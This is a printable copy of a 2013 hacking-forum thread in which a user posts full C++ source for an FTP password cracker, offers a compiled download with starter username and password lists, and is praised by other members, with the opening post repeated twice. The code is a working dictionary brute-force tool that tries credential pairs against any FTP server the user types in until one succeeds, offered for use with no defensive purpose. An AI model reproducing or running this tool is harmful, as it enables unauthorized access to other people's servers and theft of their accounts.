Sinisterly
[HC Official] Remote FTP Cracker 2.0 - Printable Version

+- Sinisterly (https://sinister.li)
+-- Forum: Coding (https://sinister.li/Forum-Coding)
+--- Forum: C, C++, & Obj-C (https://sinister.li/Forum-C-C-Obj-C)
+--- Thread: [HC Official] Remote FTP Cracker 2.0 (/Thread-HC-Official-Remote-FTP-Cracker-2-0)

Pages: 1 2


[HC Official] Remote FTP Cracker 2.0 - Dreamwalker - 10-11-2013

[Image: ftp%20crack%20screen.jpg]


Open FTP cracker:

This is a remote password cracker for FTP servers that performs dictionary attacks in real time, which is very accurate. It uses WinInet and is coded in C++, you can add as many usernames and passwords to the files as you want and choose any target. As the title suggests it's completely open source (but please read our terms and conditions) and it includes a compiled win32 version, along with the "usernames.txt" and "passwords.txt" files with some basic combinations to get you started.

Note: as this is only beta, their are some things that need improving, such as the kill connection throttle to speed up cracking attempt iterations so keep checking for updates.

DOWNLOAD


Code:
#include <windows.h> #include <wininet.h> #include <iostream> #include <string> #include <fstream> #pragma comment(lib, "Wininet") int main() { HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE); SetConsoleTitle("Open FTP cracker coded by Dreamwalker, http://Dreamwalk.yolasite.com/"); std::cout<<"Open FTP cracker beta 2.0 coded by Dreamwalker - HackCommunity.com \n_________________________________________________\n"<<std::endl; std::string usernames = "", passwords = "", target = "", temp = ""; //init wininet functions HINTERNET hInternet = InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0); if(!hInternet) { std::cout<<"Error starting WinInet, please close this application"<<std::endl; std::cin>>temp; return -1; } //get files std::ifstream user_reader("usernames.txt"); std::ifstream pass_reader("passwords.txt"); //file error handling if((!user_reader)||(!pass_reader)) { std::cout<<"Error opening one of the input files "<<std::endl; std::cout<<"ensure \"usernames.txt\" and \"passwords.txt\" are in the same"<<std::endl; std::cout<<"directory as this application, please close this application\n"<<std::endl; std::cin>>temp; return -1; } //get target server std::cout<<"What is the target FTP server?:"<<std::endl; std::cin>>target; //get first username to be used in loop getline(user_reader,usernames); //go through all passwords on one username then continue to next username until list has finished int attempts = 0; HINTERNET hFtpSession = NULL; while(!user_reader.eof()) { SetConsoleTextAttribute(hConsole, 7); attempts++; getline(pass_reader,passwords); std::cout<<"Trying username "+usernames+" with password "+passwords+" attempts "<<attempts<<" "; //Connect to FTP server with provided credentials hFtpSession = InternetConnect(hInternet,target.c_str(),INTERNET_DEFAULT_FTP_PORT,usernames.c_str(),passwords.c_str(), INTERNET_SERVICE_FTP,INTERNET_FLAG_PASSIVE,0); //is password cracked? if(!hFtpSession) { SetConsoleTextAttribute(hConsole, 12); std::cout<<"= FAIL"<<std::endl; InternetCloseHandle(hFtpSession); } else if(hFtpSession) { SetConsoleTextAttribute(hConsole, 10); std::cout<<"\n\nCracked "+target+"\nThe username is: \""+usernames+"\"\nPassword is: \""+passwords+"\""<<std::endl; InternetCloseHandle(hFtpSession); break; } if(pass_reader.eof()) { //reset pass file pass_reader.clear(); pass_reader.seekg(0,std::ios::beg); //get next username getline(user_reader,usernames); } } InternetCloseHandle(hInternet); pass_reader.close(); user_reader.close(); std::cout<<"\nFinished, please close this application"<<std::endl; std::cin>>temp; return 0; }



[HC Official] Remote FTP Cracker 2.0 - Dreamwalker - 10-11-2013

[Image: ftp%20crack%20screen.jpg]


Open FTP cracker:

This is a remote password cracker for FTP servers that performs dictionary attacks in real time, which is very accurate. It uses WinInet and is coded in C++, you can add as many usernames and passwords to the files as you want and choose any target. As the title suggests it's completely open source (but please read our terms and conditions) and it includes a compiled win32 version, along with the "usernames.txt" and "passwords.txt" files with some basic combinations to get you started.

Note: as this is only beta, their are some things that need improving, such as the kill connection throttle to speed up cracking attempt iterations so keep checking for updates.

DOWNLOAD


Code:
#include <windows.h> #include <wininet.h> #include <iostream> #include <string> #include <fstream> #pragma comment(lib, "Wininet") int main() { HANDLE hConsole = GetStdHandle(STD_OUTPUT_HANDLE); SetConsoleTitle("Open FTP cracker coded by Dreamwalker, http://Dreamwalk.yolasite.com/"); std::cout<<"Open FTP cracker beta 2.0 coded by Dreamwalker - HackCommunity.com \n_________________________________________________\n"<<std::endl; std::string usernames = "", passwords = "", target = "", temp = ""; //init wininet functions HINTERNET hInternet = InternetOpen(NULL,INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0); if(!hInternet) { std::cout<<"Error starting WinInet, please close this application"<<std::endl; std::cin>>temp; return -1; } //get files std::ifstream user_reader("usernames.txt"); std::ifstream pass_reader("passwords.txt"); //file error handling if((!user_reader)||(!pass_reader)) { std::cout<<"Error opening one of the input files "<<std::endl; std::cout<<"ensure \"usernames.txt\" and \"passwords.txt\" are in the same"<<std::endl; std::cout<<"directory as this application, please close this application\n"<<std::endl; std::cin>>temp; return -1; } //get target server std::cout<<"What is the target FTP server?:"<<std::endl; std::cin>>target; //get first username to be used in loop getline(user_reader,usernames); //go through all passwords on one username then continue to next username until list has finished int attempts = 0; HINTERNET hFtpSession = NULL; while(!user_reader.eof()) { SetConsoleTextAttribute(hConsole, 7); attempts++; getline(pass_reader,passwords); std::cout<<"Trying username "+usernames+" with password "+passwords+" attempts "<<attempts<<" "; //Connect to FTP server with provided credentials hFtpSession = InternetConnect(hInternet,target.c_str(),INTERNET_DEFAULT_FTP_PORT,usernames.c_str(),passwords.c_str(), INTERNET_SERVICE_FTP,INTERNET_FLAG_PASSIVE,0); //is password cracked? if(!hFtpSession) { SetConsoleTextAttribute(hConsole, 12); std::cout<<"= FAIL"<<std::endl; InternetCloseHandle(hFtpSession); } else if(hFtpSession) { SetConsoleTextAttribute(hConsole, 10); std::cout<<"\n\nCracked "+target+"\nThe username is: \""+usernames+"\"\nPassword is: \""+passwords+"\""<<std::endl; InternetCloseHandle(hFtpSession); break; } if(pass_reader.eof()) { //reset pass file pass_reader.clear(); pass_reader.seekg(0,std::ios::beg); //get next username getline(user_reader,usernames); } } InternetCloseHandle(hInternet); pass_reader.close(); user_reader.close(); std::cout<<"\nFinished, please close this application"<<std::endl; std::cin>>temp; return 0; }



RE: remote FTP Cracker (Free and open source coded by me!) - Slarek - 10-11-2013

I think this is good job:Thumbs-Up:
Have you thought about making this HC Offical?


RE: remote FTP Cracker (Free and open source coded by me!) - Slarek - 10-11-2013

I think this is good job:Thumbs-Up:
Have you thought about making this HC Offical?


RE: remote FTP Cracker (Free and open source coded by me!) - Dreamwalker - 10-11-2013

(10-11-2013, 03:20 PM)Slarek Wrote: I think this is good job:Thumbs-Up:
Have you thought about making this HC Offical?
Cheers, just put it on there.


RE: remote FTP Cracker 2.0 (Free and open source coded by me!) - Deque - 10-16-2013

-Moved-
This tool is now HC Official. @Dreamwalker if you want you can join the HC Dev team as well.
Thanks for supporting HC.


RE: remote FTP Cracker 2.0 (Free and open source coded by me!) - Dreamwalker - 10-16-2013

(10-16-2013, 12:14 PM)Deque Wrote: -Moved-
This tool is now HC Official. @Dreamwalker if you want you can join the HC Dev team as well.
Thanks for supporting HC.

Excellent, and yes I'd love to, how do I go about doing that?


RE: [HC Official] Remote FTP Cracker 2.0 - Deque - 10-16-2013

(10-16-2013, 12:19 PM)Dreamwalker Wrote:
(10-16-2013, 12:14 PM)Deque Wrote: -Moved-
This tool is now HC Official. @Dreamwalker if you want you can join the HC Dev team as well.
Thanks for supporting HC.

Excellent, and yes I'd love to, how do I go about doing that?

I added you to the group. Welcome to HC Dev.


RE: [HC Official] Remote FTP Cracker 2.0 - gUm1Ho_T41L - 10-18-2013

good software , but not created with vb6


RE: [HC Official] Remote FTP Cracker 2.0 - Slarek - 10-18-2013

(10-18-2013, 08:58 AM)gUm1Ho_T41L Wrote: good software , but not created with vb6

Why this would have been created in VB6?
It is not good.